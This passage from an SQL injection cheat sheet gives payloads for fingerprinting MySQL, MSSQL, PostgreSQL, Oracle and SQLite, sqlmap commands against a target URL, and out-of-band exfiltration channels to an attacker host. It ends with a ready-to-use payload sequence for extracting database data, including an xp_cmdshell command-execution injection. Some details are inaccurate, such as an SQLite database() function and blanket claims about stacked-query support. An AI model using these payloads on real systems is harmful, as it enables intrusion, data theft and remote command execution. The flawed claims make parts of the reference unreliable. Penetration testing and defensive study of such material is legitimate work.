Oracle 1' AND (SELECT COUNT(*) FROM DUAL) > 0-- No error (DUAL exists)
SQLite 1' AND (SELECT sqlite_version()) > 0-- No error
SQLite 1' AND (SELECT COUNT(*) FROM sqlite_master) > 0-- No error

Method 3: Comment Style Fingerprinting

Database Valid Comments
MySQL -- , #, /* */
MSSQL --, /* */
PostgreSQL --, /* */
Oracle --, /* */
SQLite --, /* */

Key distinction: Only MySQL supports # as a comment character.

# If this works, it's MySQL:
1' #

# If this causes an error, it's NOT MySQL:
1' #

Method 4: UNION-Based Fingerprinting

# MySQL: DUAL not needed, can select expressions
1' UNION SELECT 1, 2, 3--

# Oracle: DUAL required for expressions
1' UNION SELECT 1, 2, 3 FROM DUAL--

# SQLite: Can select expressions
1' UNION SELECT 1, 2, 3--

# MSSQL: Can select expressions
1' UNION SELECT 1, 2, 3--

# PostgreSQL: Can select expressions
1' UNION SELECT 1, 2, 3--

Method 5: String Concatenation Fingerprinting

# MySQL uses CONCAT()
1' AND CONCAT('a', 'b') = 'ab'--

# MSSQL uses +
1' AND 'a' + 'b' = 'ab'--

# PostgreSQL, Oracle, SQLite use ||
1' AND 'a' || 'b' = 'ab'--

Complete Fingerprinting Decision Tree

Start: Inject single quote ' to trigger error
│
├─ Error contains "MySQL" / "MariaDB"
│  └─ ✅ MySQL / MariaDB
│
├─ Error contains "Microsoft" / "OLE DB" / "ODBC"
│  └─ ✅ MSSQL
│
├─ Error contains "PostgreSQL" / "PG::"
│  └─ ✅ PostgreSQL
│
├─ Error contains "ORA-" / "Oracle"
│  └─ ✅ Oracle
│
├─ Error contains "SQLite" / "sqlite"
│  └─ ✅ SQLite
│
└─ Error message not revealing? Try function tests:
   │
   ├─ Test: 1' AND SLEEP(1)--
   │  └─ Delay? → ✅ MySQL
   │
   ├─ Test: 1'; WAITFOR DELAY '00:00:01'--
   │  └─ Delay? → ✅ MSSQL
   │
   ├─ Test: 1' AND pg_sleep(1)--
   │  └─ Delay? → ✅ PostgreSQL
   │
   ├─ Test: 1' AND (SELECT COUNT(*) FROM DUAL) > 0--
   │  └─ No error? → ✅ Oracle
   │
   ├─ Test: 1' AND (SELECT sqlite_version()) > 0--
   │  └─ No error? → ✅ SQLite
   │
   └─ Test: 1' #
      └─ Works as comment? → ✅ MySQL (only DB with # comments)

Automated Fingerprinting with SQLMap

# SQLMap auto-detects the database
sqlmap -u "http://target.com/page?id=1" --batch

# Force a specific database
sqlmap -u "http://target.com/page?id=1" --dbms=mysql --batch
sqlmap -u "http://target.com/page?id=1" --dbms=mssql --batch
sqlmap -u "http://target.com/page?id=1" --dbms=postgresql --batch
sqlmap -u "http://target.com/page?id=1" --dbms=oracle --batch
sqlmap -u "http://target.com/page?id=1" --dbms=sqlite --batch

7. Side-by-Side Comparison

Comments

Operation MySQL MSSQL PostgreSQL Oracle SQLite
Line comment -- (space req.) -- -- -- --
Block comment /* */ /* */ /* */ /* */ /* */
Hash comment # ❌ ❌ ❌ ❌

String Concatenation

Database Syntax Example
MySQL CONCAT(a, b) CONCAT('a', 'b') → 'ab'
MSSQL a + b 'a' + 'b' → 'ab'
PostgreSQL a || b 'a' || 'b' → 'ab'
Oracle a || b 'a' || 'b' → 'ab'
SQLite a || b 'a' || 'b' → 'ab'

Time-Based Delay

Database Function Example
MySQL SLEEP(n) SLEEP(5)
MySQL BENCHMARK(n, expr) BENCHMARK(5000000, SHA1('test'))
MSSQL WAITFOR DELAY WAITFOR DELAY '00:00:05'
PostgreSQL pg_sleep(n) pg_sleep(5)
Oracle DBMS_LOCK.SLEEP(n) DBMS_LOCK.SLEEP(5)
SQLite ❌ No native sleep Use heavy computation workarounds

Substring / Character Extraction

Database Function Example
MySQL SUBSTRING(str, pos, len) SUBSTRING('abc', 1, 1) → 'a'
MSSQL SUBSTRING(str, pos, len) SUBSTRING('abc', 1, 1) → 'a'
PostgreSQL SUBSTRING(str FROM pos FOR len) SUBSTRING('abc' FROM 1 FOR 1) → 'a'
Oracle SUBSTR(str, pos, len) SUBSTR('abc', 1, 1) → 'a'
SQLite SUBSTR(str, pos, len) SUBSTR('abc', 1, 1) → 'a'

ASCII / Character Code

Database Function Example
MySQL ASCII(char) ASCII('a') → 97
MySQL ORD(str) ORD('a') → 97
MSSQL ASCII(char) ASCII('a') → 97
PostgreSQL ASCII(char) ASCII('a') → 97
Oracle ASCII(char) ASCII('a') → 97
SQLite UNICODE(char) UNICODE('a') → 97

Char Code to String

Database Function Example
MySQL CHAR(n) CHAR(97) → 'a'
MSSQL CHAR(n) CHAR(97) → 'a'
PostgreSQL CHR(n) CHR(97) → 'a'
Oracle CHR(n) CHR(97) → 'a'
SQLite ❌ No direct function Use CHARACTER encoding tricks

Version Detection

Database Query
MySQL VERSION() or @@version
MSSQL @@version
PostgreSQL version()
Oracle SELECT banner FROM v$version WHERE ROWNUM=1
SQLite sqlite_version()

Current User

Database Query
MySQL USER(), CURRENT_USER(), SYSTEM_USER()
MSSQL SYSTEM_USER, USER, USER_NAME(), SUSER_SNAME()
PostgreSQL current_user, session_user, user
Oracle USER, SYS_CONTEXT('USERENV', 'CURRENT_USER')
SQLite N/A (no user concept)

Current Database

Database Query
MySQL DATABASE(), SCHEMA()
MSSQL DB_NAME()
PostgreSQL current_database()
Oracle SYS_CONTEXT('USERENV', 'DB_NAME')
SQLite database()

Schema / Metadata Tables

Database Tables
MySQL information_schema.tables, .columns, .schemata
MSSQL sys.tables, sys.columns, INFORMATION_SCHEMA.TABLES
PostgreSQL information_schema.tables, pg_tables, pg_class
Oracle ALL_TABLES, ALL_TAB_COLUMNS, DBA_TABLES
SQLite sqlite_master, sqlite_schema

Row Limiting

Database Syntax
MySQL LIMIT offset, count
MSSQL SELECT TOP n or OFFSET n ROWS FETCH NEXT m ROWS ONLY
PostgreSQL LIMIT count OFFSET offset
Oracle WHERE ROWNUM <= n or FETCH FIRST n ROWS ONLY (12c+)
SQLite LIMIT count OFFSET offset

Row Aggregation

Database Function
MySQL GROUP_CONCAT(col SEPARATOR sep)
MSSQL STRING_AGG(col, sep) (2017+) or FOR XML PATH('')
PostgreSQL STRING_AGG(col, sep) or ARRAY_AGG(col)
Oracle LISTAGG(col, sep) WITHIN GROUP (ORDER BY col)
SQLite GROUP_CONCAT(col, sep)

File Read

Database Method Notes
MySQL LOAD_FILE(path) Needs FILE privilege
MSSQL OPENROWSET(BULK path) Needs AD Hoc Distributed Queries
PostgreSQL pg_read_file(path) Limited to pg_data dir
Oracle UTL_FILE Needs directory object + privileges
SQLite readfile(path) SQLite 3.38.0+

File Write

Database Method Notes
MySQL INTO OUTFILE / DUMPFILE Needs FILE privilege, secure_file_priv
MSSQL xp_cmdshell, bcp Needs sysadmin or xp_cmdshell access
PostgreSQL COPY ... TO Needs superuser or WRITE access
Oracle UTL_FILE Needs directory object + privileges
SQLite writefile(path, data) Needs load_extension enabled

Stacked Queries

Database Supported? Notes
MySQL ❌ No Most drivers don’t support multi-statement
MSSQL ✅ Yes Major advantage — enables xp_cmdshell, DECLARE, etc.
PostgreSQL ❌ No libpq PQexecParams doesn’t support multi-statement
Oracle ❌ No Single statement only
SQLite ⚠️ Depends sqlite3_exec = yes, sqlite3_prepare_v2 = no

Hex Encoding

Database Encode Decode
MySQL HEX(), 0x... UNHEX()
MSSQL CONVERT(varbinary, str) CAST(varbinary AS varchar)
PostgreSQL encode(data, 'hex') decode(str, 'hex')
Oracle RAWTOHEX() HEXTORAW()
SQLite HEX() UNHEX() (via X'...' literal)

Error-Based Extraction

Database Techniques
MySQL EXTRACTVALUE, UPDATEXML, FLOOR(RAND), Geometry errors, EXP
MSSQL CONVERT(int, string), CAST(string AS int)
PostgreSQL CAST(string AS int), division by zero, to_regclass
Oracle TO_NUMBER(string), POWER(overflow), CTXSYS, DBMS_XMLGEN
SQLite Limited — mostly boolean/time-based

Out-of-Band (OOB) Channels

Database Methods
MySQL LOAD_FILE() with \\attacker.com\, INTO OUTFILE to \\attacker.com\share\
MSSQL xp_cmdshell (direct), OPENROWSET, OPENDATASOURCE
PostgreSQL COPY TO PROGRAM, pg_catalog extensions
Oracle UTL_HTTP.REQUEST(), UTL_INADDR.GET_HOST_ADDRESS(), DBMS_LDAP.INIT()
SQLite LOAD_EXTENSION() (if enabled)

Quick Reference: First Payload to Try

When you find a SQLi vulnerability, use this order:

Step 1: Confirm injection
  → Add single quote: '
  → Check error message for DB fingerprint

Step 2: Determine query type
  → Try UNION SELECT 1,2,3--
  → If no UNION, try boolean/time-based

Step 3: Based on fingerprinted DB:

  MySQL:
    → 1' UNION SELECT version(), user(), database()--
    → 1' AND EXTRACTVALUE(1, CONCAT(0x7e, version()))--

  MSSQL:
    → 1' UNION SELECT @@version, SYSTEM_USER, DB_NAME()--
    → 1'; EXEC xp_cmdshell 'whoami'--

  PostgreSQL:
    → 1' UNION SELECT version(), current_user, current_database()--
    → 1' AND pg_sleep(1)--

  Oracle:
    → 1' UNION SELECT banner, USER, SYS_CONTEXT('USERENV','DB_NAME') FROM v$version--
    → 1' AND (SELECT COUNT(*) FROM DUAL) > 0--

  SQLite:
    → 1' UNION SELECT sqlite_version(), 2, 3--
    → 1' UNION SELECT sql FROM sqlite_master--

Key Takeaways

  1. Always fingerprint first — the database type determines everything
  2. MSSQL is the most dangerous — stacked queries + xp_cmdshell = RCE
  3. MySQL has the most error-based techniques — 8+ different error extraction methods
  4. Oracle requires DUAL — every SELECT without a real table needs FROM DUAL
  5. SQLite has limited functions — no sleep, no native char(), but readfile/writefile in newer versions
  6. PostgreSQL is restrictive — file operations limited to pg_data directory by default
  7. Comment syntax is the fastest fingerprint — # = MySQL, nothing else supports it
  8. Stacked queries are a game-changer — only MSSQL reliably supports them; SQLite depends on the API